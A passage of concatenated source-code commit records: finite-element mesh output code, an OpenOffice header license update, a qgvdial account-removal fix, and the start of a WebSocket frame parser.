bs.getSize(); ++i) {\n    ienb[i] = new int*[bs.nElements[i]];\n    ibcb[i] = new int*[bs.nElements[i]];\n    bcb[i] = new double*[bs.nElements[i]];\n    js[i] = 0;\n  }\n  gmi_model* gm = m->getModel();\n  gmi_ent* gf;\n  gmi_iter* git = gmi_begin(gm, m->getDimension() - 1);\n  while ((gf = gmi_next(gm, git))) {\n    apf::ModelEntity* mf = (apf::ModelEntity*)gf;\n    int* ibcbMaster = new int[2]();\n    double* bcbMaster = new double[nbc]();\n    applyNaturalBCs(gm, gf, bcs, bcbMaster, ibcbMaster);\n    apf::MeshEntity* f;\n    apf::MeshIterator* it = m->begin(m->getDimension() - 1);\n    while ((f = m->iterate(it))) {\n      if (m->toModel(f) != mf)\n        continue;\n      BlockKey k;\n      apf::MeshEntity* e = m->getUpward(f, 0);\n      getBoundaryBlockKey(m, e, f, k);\n      assert(bs.keyToIndex.count(k));\n      int i = bs.keyToIndex[k];\n      int j = js[i];\n      int nv = k.nElementVertices;\n      apf::Downward v;\n      getBoundaryVertices(m, e, f, v);\n      ienb[i][j] = new int[nv];\n      for (int k = 0; k < nv; ++k)\n        ienb[i][j][k] = apf::getNumber(n, v[k], 0, 0);\n      bcb[i][j] = new double[nbc]();\n      for (int k = 0; k < nbc; ++k)\n        bcb[i][j][k] = bcbMaster[k];\n      ibcb[i][j] = new int[2](); \/* <- parens initialize to zero *\/\n      for (int k = 0; k < 2; ++k)\n        ibcb[i][j][k] = ibcbMaster[k];\n      ++js[i];\n    }\n    delete [] ibcbMaster;\n    delete [] bcbMaster;\n    m->end(it);\n  }\n  gmi_end(gm, git);\n  for (int i = 0; i < bs.getSize(); ++i)\n    assert(js[i] == bs.nElements[i]);\n  o.arrays.ienb = ienb;\n  o.arrays.ibcb = ibcb;\n  o.arrays.bcb = bcb;\n}\n\nstatic void getBoundaryElements(Output& o)\n{\n  Blocks& bs = o.blocks.boundary;\n  int n = 0;\n  for (int i = 0; i < bs.getSize(); ++i)\n    n += bs.nElements[i];\n  o.nBoundaryElements = n;\n}\n\nstatic void getMaxElementNodes(Output& o)\n{\n  int n = 0;\n  Blocks& ibs = o.blocks.interior;\n  for (int i = 0; i < ibs.getSize(); ++i)\n    n = std::max(n, ibs.keys[i].nElementVertices);\n  Blocks& bbs = o.blocks.boundary;\n  for (int i = 0; i < bbs.getSize(); ++i)\n    n = std::max(n, bbs.keys[i].nElementVertices);\n  o.nMaxElementNodes = n;\n}\n\nstatic apf::MeshEntity* getPeriodicMaster(apf::Mesh* m, apf::MeshEntity* e)\n{\n  if ( ! m->hasMatching())\n    return e;\n  apf::Matches matches;\n  m->getMatches(e, matches);\n  if (!matches.getSize())\n    return e;\n  apf::MeshEntity* master = e;\n  int self = PCU_Comm_Self();\n  for (size_t i = 0; i < matches.getSize(); ++i)\n    if ((matches[i].peer == self)&&(matches[i].entity < master))\n      master = matches[i].entity;\n  return master;\n}\n\nstatic void getPeriodicMasters(Output& o, apf::Numbering* n)\n{\n  apf::Mesh* m = o.mesh;\n  int* iper = new int[m->count(0)];\n  apf::MeshIterator* it = m->begin(0);\n  apf::MeshEntity* e;\n  int i = 0;\n  while ((e = m->iterate(it))) {\n    apf::MeshEntity* master = getPeriodicMaster(m, e);\n    if (master == e)\n      iper[i] = 0;\n    else\n      iper[i] = apf::getNumber(n, master, 0, 0) + 1;\n    ++i;\n  }\n  m->end(it);\n  o.arrays.iper = iper;\n}\n\nstatic void getEssentialBCsOn(BCs& bcs, Output& o, gmi_ent* ge)\n{\n  Input& in = *o.in;\n  apf::Mesh* m = o.mesh;\n  int ibcMaster = 0;\n  int nec = countEssentialBCs(in);\n  double* bcMaster = new double[nec]();\n  gmi_model* gm = m->getModel();\n  bool did = applyEssentialBCs(gm, ge, bcs, bcMaster, &ibcMaster);\n  if (did) {\n    apf::MeshEntity* v;\n    apf::MeshIterator* it = m->begin(0);\n    int i = 0;\n    int& ei = o.nEssentialBCNodes;\n    while ((v = m->iterate(it))) {\n      if (m->toModel(v) == (apf::ModelEntity*)ge) {\n        o.arrays.nbc[i] = ei + 1;\n        o.arrays.ibc[ei] = ibcMaster;\n        double* bc_ei = new double[nec]();\n        for (int j = 0; j < nec; ++j)\n          bc_ei[j] = bcMaster[j];\n        o.arrays.bc[ei] = bc_ei;\n        ++ei;\n      }\n      ++i;\n    }\n    m->end(it);\n  }\n  delete [] bcMaster;\n}\n\nstatic void getEssentialBCs(BCs& bcs, Output& o)\n{\n  apf::Mesh* m = o.mesh;\n  int nv = m->count(0);\n  o.arrays.nbc = new int[nv];\n  for (int i = 0; i < nv; ++i)\n    o.arrays.nbc[i] = 0;\n  o.arrays.ibc = new int[nv]();\n  o.arrays.bc = new double*[nv];\n  o.nEssentialBCNodes = 0;\n  gmi_model* gm = m->getModel();\n  for (int d = 3; d >= 0; --d) {\n    gmi_iter* it = gmi_begin(gm, d);\n    gmi_ent* ge;\n    while ((ge = gmi_next(gm, it)))\n      getEssentialBCsOn(bcs, o, ge);\n    gmi_end(gm, it);\n  }\n}\n\nstatic void getInitialConditions(BCs& bcs, Output& o)\n{\n  Input& in = *o.in;\n  apf::Mesh* m = o.mesh;\n  apf::MeshEntity* v;\n  apf::NewArray<double> s(in.ensa_dof);\n  apf::Field* f = m->findField(\"solution\");\n  apf::MeshIterator* it = m->begin(0);\n  gmi_model* gm = m->getModel();\n  while ((v = m->iterate(it))) {\n    gmi_ent* ge = (gmi_ent*)m->toModel(v);\n    apf::getComponents(f, v, 0, &s[0]);\n\/* unfortunately, there is no way to know which\n   components this overwrites without creating\n   bad coupling between pieces of code, so we\n   call this for every vertex even though it\n   only depends on classification *\/\n    applySolutionBCs(gm, ge, bcs, &s[0]);\n    apf::setComponents(f, v, 0, &s[0]);\n  }\n  m->end(it);\n}\n\nOutput::~Output()\n{\n  delete [] arrays.coordinates;\n  delete [] arrays.ilwork;\n  delete [] arrays.iper;\n  delete [] arrays.globalNodeNumbers;\n  Blocks& ibs = blocks.interior;\n  for (int i = 0; i < ibs.getSize(); ++i) {\n    for (int j = 0; j < ibs.nElements[i]; ++j)\n      delete [] arrays.ien[i][j];\n    delete [] arrays.ien[i];\n  }\n  delete [] arrays.ien;\n  Blocks& bbs = blocks.boundary;\n  for (int i = 0; i < bbs.getSize(); ++i) {\n    for (int j = 0; j < bbs.nElements[i]; ++j) {\n      delete [] arrays.ienb[i][j];\n      delete [] arrays.ibcb[i][j];\n      delete [] arrays.bcb[i][j];\n    }\n    delete [] arrays.ienb[i];\n    delete [] arrays.ibcb[i];\n    delete [] arrays.bcb[i];\n  }\n  delete [] arrays.ienb;\n  delete [] arrays.ibcb;\n  delete [] arrays.bcb;\n  delete [] arrays.nbc;\n  delete [] arrays.ibc;\n  for (int i = 0; i < nEssentialBCNodes; ++i)\n    delete [] arrays.bc[i];\n  delete [] arrays.bc;\n}\n\nvoid generateOutput(Input& in, BCs& bcs, apf::Mesh* mesh, Output& o)\n{\n  double t0 = MPI_Wtime();\n  o.in = &in;\n  o.mesh = mesh;\n  getCounts(o);\n  getCoordinates(o);\n  getGlobal(o);\n  getAllBlocks(o.mesh, o.blocks);\n  apf::Numbering* n = apf::numberOverlapNodes(mesh, \"ph_local\");\n  getLinks(o, n);\n  getInterior(o, n);\n  getBoundary(o, bcs, n);\n  getPeriodicMasters(o, n);\n  apf::destroyNumbering(n);\n  getBoundaryElements(o);\n  getMaxElementNodes(o);\n  getEssentialBCs(bcs, o);\n  getInitialConditions(bcs, o);\n  double t1 = MPI_Wtime();\n  if (!PCU_Comm_Self())\n    printf(\"generated output structs in %f seconds\\n\",t1 - t0);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: Boolean.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 07:17:59 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _CONNECTIVITY_JAVA_LANG_BOOLEAN_HXX_\n#define _CONNECTIVITY_JAVA_LANG_BOOLEAN_HXX_\n\n#ifndef _CONNECTIVITY_JAVA_LANG_OBJECT_HXX_\n#include \"java\/lang\/Object.hxx\"\n#endif\n\/\/**************************************************************\n\/\/************ Class: java.lang.Boolean\n\/\/**************************************************************\nnamespace connectivity\n{\n    class java_lang_Boolean : public java_lang_Object\n    {\n    protected:\n    \/\/ statische Daten fuer die Klasse\n        static jclass theClass;\n        \/\/ der Destruktor um den Object-Counter zu aktualisieren\n        static void saveClassRef( jclass pClass );\n    public:\n        static jclass getMyClass();\n        virtual ~java_lang_Boolean();\n        \/\/ ein Konstruktor, der fuer das Returnen des Objektes benoetigt wird:\n        java_lang_Boolean( JNIEnv * pEnv, jobject myObj ) : java_lang_Object( pEnv, myObj ){}\n\n        java_lang_Boolean( sal_Bool _par0 );\n    };\n}\n\n#endif \/\/ _CONNECTIVITY_JAVA_LANG_BOOLEAN_HXX_\n\n\n<commit_msg>INTEGRATION: CWS changefileheader (1.2.372); FILE MERGED 2008\/04\/01 10:53:34 thb 1.2.372.2: #i85898# Stripping all external header guards 2008\/03\/28 15:24:26 rt 1.2.372.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: Boolean.hxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef _CONNECTIVITY_JAVA_LANG_BOOLEAN_HXX_\n#define _CONNECTIVITY_JAVA_LANG_BOOLEAN_HXX_\n\n#include \"java\/lang\/Object.hxx\"\n\/\/**************************************************************\n\/\/************ Class: java.lang.Boolean\n\/\/**************************************************************\nnamespace connectivity\n{\n    class java_lang_Boolean : public java_lang_Object\n    {\n    protected:\n    \/\/ statische Daten fuer die Klasse\n        static jclass theClass;\n        \/\/ der Destruktor um den Object-Counter zu aktualisieren\n        static void saveClassRef( jclass pClass );\n    public:\n        static jclass getMyClass();\n        virtual ~java_lang_Boolean();\n        \/\/ ein Konstruktor, der fuer das Returnen des Objektes benoetigt wird:\n        java_lang_Boolean( JNIEnv * pEnv, jobject myObj ) : java_lang_Object( pEnv, myObj ){}\n\n        java_lang_Boolean( sal_Bool _par0 );\n    };\n}\n\n#endif \/\/ _CONNECTIVITY_JAVA_LANG_BOOLEAN_HXX_\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\nqgvdial is a cross platform Google Voice Dialer\nCopyright (C) 2009-2012  Yuvraaj Kelkar\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\nContact: yuvraaj@gmail.com\n*\/\n\n#include \"TpAccountUtility.h\"\n#include \"TpHeaders.h\"\n#include \"Singletons.h\"\n\n#define ofdTA \"org.freedesktop.Telepathy.Account\"\n#define cnAIC \"com.nokia.Account.Interface.Compat\"\n\nTpPhoneIntegration::TpPhoneIntegration(QObject *parent \/*= NULL*\/)\n: IPhoneIntegration(parent)\n, m_acMgrInitInProgress(false)\n, m_EnableAfteracMgrInit(false)\n{\n}\/\/TpPhoneIntegration::TpPhoneIntegration\n\nvoid\nTpPhoneIntegration::phoneIntegrationChanged(bool enable \/* = false*\/)\n{\n    if (!acMgr.isNull ()) {\n        Q_WARN(\"Account manager is valid!!\");\n        return;\n    }\n\n    m_EnableAfteracMgrInit = enable;\n    acMgr = AccountManager::create();\n\n    Tp::PendingOperation *op = acMgr->becomeReady ();\n    connect(op, SIGNAL(finished(Tp::PendingOperation*)),\n            this, SLOT(onAcMgrReady(Tp::PendingOperation*)));\n}\/\/TpPhoneIntegration::integrateChanged\n\nvoid\nTpPhoneIntegration::onAcMgrReady(Tp::PendingOperation * \/*operation*\/)\n{\n    if (acMgr->isReady()) {\n        Q_DEBUG(\"Account manager is ready\");\n\n        if (m_EnableAfteracMgrInit) {\n            QStringList props = acMgr->supportedAccountProperties ();\n            Q_DEBUG(QString(\"Supported properties = [%1]\").arg(props.join(\", \")));\n\n            enablePhoneIntegration ();\n        } else {\n            disablePhoneIntegration ();\n        }\n    } else {\n        Q_WARN(\"Account manager is not getting ready\");\n    }\n}\/\/TpPhoneIntegration::onAcMgrReady\n\nvoid\nTpPhoneIntegration::enablePhoneIntegration()\n{\n    CacheDatabase &dbMain = Singletons::getRef().getDBMain();\n    QString user, pass;\n    bool rv;\n\n    rv = dbMain.getUserPass (user, pass);\n    if (!rv) {\n        Q_WARN(\"Failed to get user pass\");\n        return;\n    }\n    user.replace('@', '_');\n    user.replace('.', '_');\n\n    QVariantMap connectionParametersMap;\n    connectionParametersMap.insert(\"account\", user);\n\n    QList<QVariant> presenceDetails;\n    uint presenceType(2); \/\/Available = 2\n    presenceDetails << presenceType;\n    presenceDetails << \"online\";\n    presenceDetails << \"Available\";\n\n    QVariantMap accountPropertiesMap;\n    \/\/ Looks like this is not required... (?)\n    \/\/\"org.freedesktop.Telepathy.Account.AutomaticPresence\" = simple presence\n    \/\/accountPropertiesMap.insert(ofdTA \".AutomaticPresence\",\n    \/\/                            QVariant::fromValue(presence));\n    \/\/\"org.freedesktop.Telepathy.Account.RequestedPresence\" = simple presence\n    \/\/accountPropertiesMap.insert(ofdTA \".RequestedPresence\",\n    \/\/                            QVariant::fromValue(presence));\n\n    \/\/ \"org.freedesktop.Telepathy.Account.Enabled\" = true\n    accountPropertiesMap.insert(ofdTA \".Enabled\", true);\n    \/\/ \"org.freedesktop.Telepathy.Account.ConnectAutomatically\" = true\n    accountPropertiesMap.insert(ofdTA \".ConnectAutomatically\", true);\n#if defined(MEEGO_HARMATTAN)\n    \/\/ \"com.nokia.Account.Interface.Compat.Profile\" = \"qgvtp\"\n    accountPropertiesMap.insert(cnAIC \".Profile\", \"qgvtp\");\n#endif\n\n    QStringList valuesList;\n    valuesList.append(\"TEL\");\n#if defined(MEEGO_HARMATTAN)\n    \/\/ \"com.nokia.Account.Interface.Compat.SecondaryVCardFields\" = a(\"TEL\")\n    accountPropertiesMap.insert(cnAIC \".SecondaryVCardFields\", valuesList);\n#endif\n\n    Tp::PendingAccount *pa =\n    acMgr->createAccount (\"qgvtp\", \"qgv\", user, connectionParametersMap,\n                          accountPropertiesMap);\n    rv = connect(pa, SIGNAL(finished(Tp::PendingOperation*)),\n                 this, SLOT(onAccountCreated(Tp::PendingOperation*)));\n    Q_ASSERT(rv);\n    if (!rv) {\n        Q_WARN(\"Failed to connect account creation signal\");\n    }\n}\/\/TpPhoneIntegration::enablePhoneIntegration\n\nvoid\nTpPhoneIntegration::onAccountCreated(Tp::PendingOperation *op)\n{\n    Tp::PendingAccount *pa = (Tp::PendingAccount *) op;\n\n    if (pa->isError ()) {\n        Q_WARN(\"Failed to create account\");\n        return;\n    }\n\n    AccountPtr ac = pa->account();\n\n    QString acPath = ac->objectPath ();\n    Q_DEBUG(QString(\"Account with path %1 is created\").arg(acPath));\n\n    Tp::Presence p(ConnectionPresenceTypeAvailable, \"online\", \"Available\");\n    op = ac->setRequestedPresence(p);\n    connect(op, SIGNAL(finished(Tp::PendingOperation*)),\n            this, SLOT(onAccountOnline(Tp::PendingOperation*)));\n}\/\/TpPhoneIntegration::onAccountCreated\n\nvoid\nTpPhoneIntegration::disablePhoneIntegration()\n{\n    QList<AccountPtr> allAc = acMgr->allAccounts ();\n    foreach (AccountPtr ac, allAc) {\n        QString acPath = ac->objectPath ();\n        if (acPath.contains (\"qgvtp\/qgv\/qgvtp\")) {\n            Q_DEBUG(QString(\"Removing account %1\").arg (acPath));\n            Tp::PendingOperation *op = ac->remove ();\n            connect(op, SIGNAL(finished(Tp::PendingOperation*)),\n                    this, SLOT(onAccountRemoved(Tp::PendingOperation*)));\n        }\n    }\n\n    acMgr.reset ();\n    IPhoneIntegration::phoneIntegrationChanged (false);\n}\/\/TpPhoneIntegration::disablePhoneIntegration\n\nvoid\nTpPhoneIntegration::onAccountOnline(Tp::PendingOperation *op)\n{\n    if (op->isError()) {\n        Q_WARN(\"Account could not be made online\");\n        disablePhoneIntegration();\n    } else {\n        Q_DEBUG(\"Account is now online\");\n        IPhoneIntegration::phoneIntegrationChanged (true);\n    }\n\n    acMgr.reset ();\n}\/\/TpPhoneIntegration::onAccountOnline\n\nvoid\nTpPhoneIntegration::onAccountRemoved(Tp::PendingOperation * \/*operation*\/)\n{\n    Q_DEBUG(\"Account removed\");\n\n    bool oldVal = m_integrationEnabled;\n    m_integrationEnabled = false;\n    if (oldVal != m_integrationEnabled) {\n        emit enableChanged(m_integrationEnabled);\n    }\n}\/\/TpPhoneIntegration::onAccountRemoved\n\nbool\nTpPhoneIntegration::isEnabled()\n{\n    return m_integrationEnabled;\n}\/\/TpPhoneIntegration::isEnabled\n<commit_msg>fix account removal<commit_after>\/*\nqgvdial is a cross platform Google Voice Dialer\nCopyright (C) 2009-2012  Yuvraaj Kelkar\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n\nContact: yuvraaj@gmail.com\n*\/\n\n#include \"TpAccountUtility.h\"\n#include \"TpHeaders.h\"\n#include \"Singletons.h\"\n\n#define ofdTA \"org.freedesktop.Telepathy.Account\"\n#define cnAIC \"com.nokia.Account.Interface.Compat\"\n\nTpPhoneIntegration::TpPhoneIntegration(QObject *parent \/*= NULL*\/)\n: IPhoneIntegration(parent)\n, m_acMgrInitInProgress(false)\n, m_EnableAfteracMgrInit(false)\n{\n}\/\/TpPhoneIntegration::TpPhoneIntegration\n\nvoid\nTpPhoneIntegration::phoneIntegrationChanged(bool enable \/* = false*\/)\n{\n    if (!acMgr.isNull ()) {\n        Q_WARN(\"Account manager is valid!!\");\n        return;\n    }\n\n    m_EnableAfteracMgrInit = enable;\n    acMgr = AccountManager::create();\n\n    Tp::PendingOperation *op = acMgr->becomeReady ();\n    connect(op, SIGNAL(finished(Tp::PendingOperation*)),\n            this, SLOT(onAcMgrReady(Tp::PendingOperation*)));\n}\/\/TpPhoneIntegration::integrateChanged\n\nvoid\nTpPhoneIntegration::onAcMgrReady(Tp::PendingOperation * \/*operation*\/)\n{\n    if (acMgr->isReady()) {\n        Q_DEBUG(\"Account manager is ready\");\n\n        if (m_EnableAfteracMgrInit) {\n            QStringList props = acMgr->supportedAccountProperties ();\n            Q_DEBUG(QString(\"Supported properties = [%1]\").arg(props.join(\", \")));\n\n            enablePhoneIntegration ();\n        } else {\n            disablePhoneIntegration ();\n        }\n    } else {\n        Q_WARN(\"Account manager is not getting ready\");\n    }\n}\/\/TpPhoneIntegration::onAcMgrReady\n\nvoid\nTpPhoneIntegration::enablePhoneIntegration()\n{\n    CacheDatabase &dbMain = Singletons::getRef().getDBMain();\n    QString user, pass;\n    bool rv;\n\n    rv = dbMain.getUserPass (user, pass);\n    if (!rv) {\n        Q_WARN(\"Failed to get user pass\");\n        return;\n    }\n    user.replace('@', '_');\n    user.replace('.', '_');\n\n    QVariantMap connectionParametersMap;\n    connectionParametersMap.insert(\"account\", user);\n\n    QList<QVariant> presenceDetails;\n    uint presenceType(2); \/\/Available = 2\n    presenceDetails << presenceType;\n    presenceDetails << \"online\";\n    presenceDetails << \"Available\";\n\n    QVariantMap accountPropertiesMap;\n    \/\/ Looks like this is not required... (?)\n    \/\/\"org.freedesktop.Telepathy.Account.AutomaticPresence\" = simple presence\n    \/\/accountPropertiesMap.insert(ofdTA \".AutomaticPresence\",\n    \/\/                            QVariant::fromValue(presence));\n    \/\/\"org.freedesktop.Telepathy.Account.RequestedPresence\" = simple presence\n    \/\/accountPropertiesMap.insert(ofdTA \".RequestedPresence\",\n    \/\/                            QVariant::fromValue(presence));\n\n    \/\/ \"org.freedesktop.Telepathy.Account.Enabled\" = true\n    accountPropertiesMap.insert(ofdTA \".Enabled\", true);\n    \/\/ \"org.freedesktop.Telepathy.Account.ConnectAutomatically\" = true\n    accountPropertiesMap.insert(ofdTA \".ConnectAutomatically\", true);\n#if defined(MEEGO_HARMATTAN)\n    \/\/ \"com.nokia.Account.Interface.Compat.Profile\" = \"qgvtp\"\n    accountPropertiesMap.insert(cnAIC \".Profile\", \"qgvtp\");\n#endif\n\n    QStringList valuesList;\n    valuesList.append(\"TEL\");\n#if defined(MEEGO_HARMATTAN)\n    \/\/ \"com.nokia.Account.Interface.Compat.SecondaryVCardFields\" = a(\"TEL\")\n    accountPropertiesMap.insert(cnAIC \".SecondaryVCardFields\", valuesList);\n#endif\n\n    Tp::PendingAccount *pa =\n    acMgr->createAccount (\"qgvtp\", \"qgv\", user, connectionParametersMap,\n                          accountPropertiesMap);\n    rv = connect(pa, SIGNAL(finished(Tp::PendingOperation*)),\n                 this, SLOT(onAccountCreated(Tp::PendingOperation*)));\n    Q_ASSERT(rv);\n    if (!rv) {\n        Q_WARN(\"Failed to connect account creation signal\");\n    }\n}\/\/TpPhoneIntegration::enablePhoneIntegration\n\nvoid\nTpPhoneIntegration::onAccountCreated(Tp::PendingOperation *op)\n{\n    Tp::PendingAccount *pa = (Tp::PendingAccount *) op;\n\n    if (pa->isError ()) {\n        Q_WARN(\"Failed to create account\");\n        return;\n    }\n\n    AccountPtr ac = pa->account();\n\n    QString acPath = ac->objectPath ();\n    Q_DEBUG(QString(\"Account with path %1 is created\").arg(acPath));\n\n    Tp::Presence p(ConnectionPresenceTypeAvailable, \"online\", \"Available\");\n    op = ac->setRequestedPresence(p);\n    connect(op, SIGNAL(finished(Tp::PendingOperation*)),\n            this, SLOT(onAccountOnline(Tp::PendingOperation*)));\n}\/\/TpPhoneIntegration::onAccountCreated\n\nvoid\nTpPhoneIntegration::disablePhoneIntegration()\n{\n    QList<AccountPtr> allAc = acMgr->allAccounts ();\n    foreach (AccountPtr ac, allAc) {\n        QString acPath = ac->objectPath ();\n        if (acPath.contains (\"qgvtp\/qgv\/\")) {\n            Q_DEBUG(QString(\"Removing account %1\").arg (acPath));\n            Tp::PendingOperation *op = ac->remove ();\n            connect(op, SIGNAL(finished(Tp::PendingOperation*)),\n                    this, SLOT(onAccountRemoved(Tp::PendingOperation*)));\n        }\n    }\n\n    acMgr.reset ();\n    IPhoneIntegration::phoneIntegrationChanged (false);\n}\/\/TpPhoneIntegration::disablePhoneIntegration\n\nvoid\nTpPhoneIntegration::onAccountOnline(Tp::PendingOperation *op)\n{\n    if (op->isError()) {\n        Q_WARN(\"Account could not be made online\");\n        disablePhoneIntegration();\n    } else {\n        Q_DEBUG(\"Account is now online\");\n        IPhoneIntegration::phoneIntegrationChanged (true);\n    }\n\n    acMgr.reset ();\n}\/\/TpPhoneIntegration::onAccountOnline\n\nvoid\nTpPhoneIntegration::onAccountRemoved(Tp::PendingOperation * \/*operation*\/)\n{\n    Q_DEBUG(\"Account removed\");\n\n    bool oldVal = m_integrationEnabled;\n    m_integrationEnabled = false;\n    if (oldVal != m_integrationEnabled) {\n        emit enableChanged(m_integrationEnabled);\n    }\n}\/\/TpPhoneIntegration::onAccountRemoved\n\nbool\nTpPhoneIntegration::isEnabled()\n{\n    return m_integrationEnabled;\n}\/\/TpPhoneIntegration::isEnabled\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright © 2017 Dmitriy Khaustov\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Author: Dmitriy Khaustov aka xDimon\n\/\/ Contacts: khaustov.dm@gmail.com\n\/\/ File created on: 2017.03.31\n\n\/\/ WsFrame.cpp\n\n\n#include \"WsFrame.hpp\"\n\n#include \"..\/..\/utils\/literals.hpp\"\n\nsize_t WsFrame::calcHeaderSize(const char data[2])\n{\n\tuint8_t prelen = (data[1] >> 0) & 0x7F_u8;\n\tuint8_t masked = (data[1] >> 7) & 0x01_u8;\n\n\treturn 2\t\t\t\t\t\t\t\t\t\t\t\t\/\/ Стартовые байты\n\t\t+ ((prelen <= 125) ? 0 : (prelen == 126) ? 2 : 8)\t\/\/ Байты расширенной длины\n\t\t+ ((!masked) ? 0 : 4);\t\t\t\t\t\t\t\t\/\/ Байты маски\n}\n\n\nWsFrame::WsFrame(const char *begin, const char *end)\n{\n\tauto s = begin;\n\n\t_finaly = static_cast<bool>((s[0] >> 7) & 0x01);\n\t_opcode = static_cast<Opcode>((s[0] >> 0) & 0x0F);\n\t_masked = static_cast<bool>((s[1] >> 7) & 0x01);\n\n\tuint8_t prelen = (s[1] >> 0) & 0x7F_u8;\n\tif ((s + 2) > end)\n\t{\n\t\tthrow std::runtime_error(\"Not anough data\");\n\t}\n\ts += 2;\n\n\tif (prelen < 126)\n\t{\n\t\t_length = prelen;\n\t}\n\telse if (prelen == 126)\n\t{\n\t\tif ((s + 2) > end)\n\t\t{\n\t\t\tthrow std::runtime_error(\"Not anough data\");\n\t\t}\n\t\t_length = 0;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t}\n\telse if (prelen == 127)\n\t{\n\t\tif ((s + 8) > end)\n\t\t{\n\t\t\tthrow std::runtime_error(\"Not anough data\");\n\t\t}\n\t\t_length = 0;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t\t_length = (_length << 8) | *s++;\n\t}\n\n\tif (_masked)\n\t{\n\t\tif ((s + 4) > end)\n\t\t{\n\t\t\tthrow std::runtime_error(\"Not anough data\");\n\t\t}\n\t\t_mask[0] = static_cast<uint8_t>(*s++);\n\t\t_mask[1] = static_cast<uint8_t>(*s++);\n\t\t_mask[2] = static_cast<uint8_t>(*s++);\n\t\t_mask[3] = static_cast<uint8_t>(*s++);\n\t}\n\telse\n\t{\n\t\t_mask[0] =\n\t\t_mask[1] =\n\t\t_mask[2] =\n\t\t_mask[3] = 0;\n\t}\n}\n\nvoid WsFrame::applyMask()\n{\n\tif (!_masked)\n\t{\n\t\treturn;\n\t}\n\tint i = 0;\n\tsize_t remain = dataLen();\n\tfor (auto &b : _data)\n\t{\n\t\tb ^= _mask[i++];\n\t\tif (!--remain) break;\n\t\tif (i == 4)\n\t\t{\n\t\t\ti = 0;\n\t\t}\n\t}\n}\n\nvoid WsFrame::send(std::shared_ptr<Writer> writer, Opcode code, const char *data, size_t size)\n{\n\tbool masked = false;\n\tuint8_t byte;\n\n\tbyte = (1_u8 << 7) | static_cast<uint8_t>(code);\n\twriter->write(&byte, sizeof(byte));\n\n\tbyte = static_cast<uint8_t>((size > 65535) ? 127 : (size > 125) ? 126 : size);\n\tif (masked)\n\t{\n\t\tbyte |= (1_u8 << 7);\n\t}\n\twriter->write(&byte, sizeof(byte));\n\n\tif (size > 125)\n\t{\n\t\tuint16_t size16 = 